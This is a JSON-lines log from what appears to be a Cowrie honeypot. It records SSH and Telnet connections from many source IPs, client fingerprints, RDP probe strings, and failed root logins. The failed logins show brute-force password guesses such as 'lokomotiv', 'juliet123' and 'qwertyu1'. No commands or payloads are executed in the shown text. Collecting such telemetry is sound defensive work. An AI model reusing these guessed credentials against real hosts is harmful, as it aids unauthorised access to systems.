{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:15.466347Z","src_ip":"103.98.149.87","session":"e6ce91254a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:15.696174Z","src_ip":"103.98.149.87","session":"e6ce91254a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secret","message":"login attempt [root/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:16.522948Z","src_ip":"103.98.149.87","session":"e6ce91254a81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.206.34.201","src_port":57902,"dst_ip":"159.203.135.109","dst_port":23,"session":"3388f347cc07","protocol":"telnet","message":"New connection: 177.206.34.201:57902 (159.203.135.109:23) [session: 3388f347cc07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:16.751408Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:18.770271Z","src_ip":"103.98.149.87","session":"e6ce91254a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.603957653045654,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:29.355216Z","src_ip":"177.206.34.201","session":"3388f347cc07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":32880,"dst_ip":"10.17.0.5","dst_port":22,"session":"43b0e93be6a2","protocol":"ssh","message":"New connection: 109.237.96.109:32880 (10.17.0.5:22) [session: 43b0e93be6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:32.765381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:32.770563Z","src_ip":"109.237.96.109","session":"43b0e93be6a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:32.861148Z","src_ip":"109.237.96.109","session":"43b0e93be6a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lokomotiv","message":"login attempt [root/lokomotiv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:33.133192Z","src_ip":"109.237.96.109","session":"43b0e93be6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:34.225775Z","src_ip":"109.237.96.109","session":"43b0e93be6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63633,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fef84fc9b99","protocol":"ssh","message":"New connection: 152.42.212.128:63633 (10.17.0.5:22) [session: 9fef84fc9b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:47.130325Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:47.135279Z","src_ip":"152.42.212.128","session":"9fef84fc9b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:47.138682Z","src_ip":"152.42.212.128","session":"9fef84fc9b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":52580,"dst_ip":"159.203.135.109","dst_port":22,"session":"650557ef628b","protocol":"ssh","message":"New connection: 147.45.197.250:52580 (159.203.135.109:22) [session: 650557ef628b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:49.894312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:49.899591Z","src_ip":"147.45.197.250","session":"650557ef628b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:49.993274Z","src_ip":"147.45.197.250","session":"650557ef628b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"armenia","message":"login attempt [root/armenia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:50.263430Z","src_ip":"147.45.197.250","session":"650557ef628b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49729,"dst_ip":"159.203.135.109","dst_port":22,"session":"34dc7b4cafcd","protocol":"ssh","message":"New connection: 167.172.81.52:49729 (159.203.135.109:22) [session: 34dc7b4cafcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:51.196130Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:51.336661Z","src_ip":"167.172.81.52","session":"34dc7b4cafcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:51.342137Z","src_ip":"167.172.81.52","session":"34dc7b4cafcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:51.358954Z","src_ip":"147.45.197.250","session":"650557ef628b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44608,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3b8b11d33e","protocol":"telnet","message":"New connection: 152.42.224.71:44608 (10.17.0.5:23) [session: 3b3b8b11d33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:40:52.505472Z"}
{"eventid":"cowrie.session.closed","duration":40.87601113319397,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:41:33.381359Z","src_ip":"152.42.224.71","session":"3b3b8b11d33e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41368,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eeefb166e2e","protocol":"ssh","message":"New connection: 103.77.242.62:41368 (10.17.0.5:22) [session: 8eeefb166e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:41:43.757210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:41:43.761719Z","src_ip":"103.77.242.62","session":"8eeefb166e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:41:44.005308Z","src_ip":"103.77.242.62","session":"8eeefb166e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juliet123","message":"login attempt [root/juliet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:41:44.726714Z","src_ip":"103.77.242.62","session":"8eeefb166e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:41:45.971257Z","src_ip":"103.77.242.62","session":"8eeefb166e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":47528,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5b9818a6061","protocol":"ssh","message":"New connection: 80.66.85.226:47528 (159.203.135.109:22) [session: b5b9818a6061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:54.132205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:54.138427Z","src_ip":"80.66.85.226","session":"b5b9818a6061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:54.232208Z","src_ip":"80.66.85.226","session":"b5b9818a6061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfg","message":"login attempt [root/asdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:54.512661Z","src_ip":"80.66.85.226","session":"b5b9818a6061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":51086,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ac042ed1159","protocol":"ssh","message":"New connection: 103.77.175.15:51086 (159.203.135.109:22) [session: 8ac042ed1159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:54.728201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:54.732522Z","src_ip":"103.77.175.15","session":"8ac042ed1159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:54.989765Z","src_ip":"103.77.175.15","session":"8ac042ed1159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:55.608578Z","src_ip":"80.66.85.226","session":"b5b9818a6061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyu1","message":"login attempt [root/qwertyu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:55.755925Z","src_ip":"103.77.175.15","session":"8ac042ed1159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:42:57.012235Z","src_ip":"103.77.175.15","session":"8ac042ed1159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35046,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dbb5a3fe01f","protocol":"ssh","message":"New connection: 103.149.170.125:35046 (10.17.0.5:22) [session: 7dbb5a3fe01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:43:04.529226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:43:04.533849Z","src_ip":"103.149.170.125","session":"7dbb5a3fe01f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:43:04.795073Z","src_ip":"103.149.170.125","session":"7dbb5a3fe01f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legenda","message":"login attempt [root/legenda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:43:05.591010Z","src_ip":"103.149.170.125","session":"7dbb5a3fe01f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:43:06.864641Z","src_ip":"103.149.170.125","session":"7dbb5a3fe01f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61840,"dst_ip":"10.17.0.5","dst_port":22,"session":"e66e62f0ed5d","protocol":"ssh","message":"New connection: 87.251.64.176:61840 (10.17.0.5:22) [session: e66e62f0ed5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:01.649311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:44:01.655989Z","src_ip":"87.251.64.176","session":"e66e62f0ed5d","protocol":"ssh"}
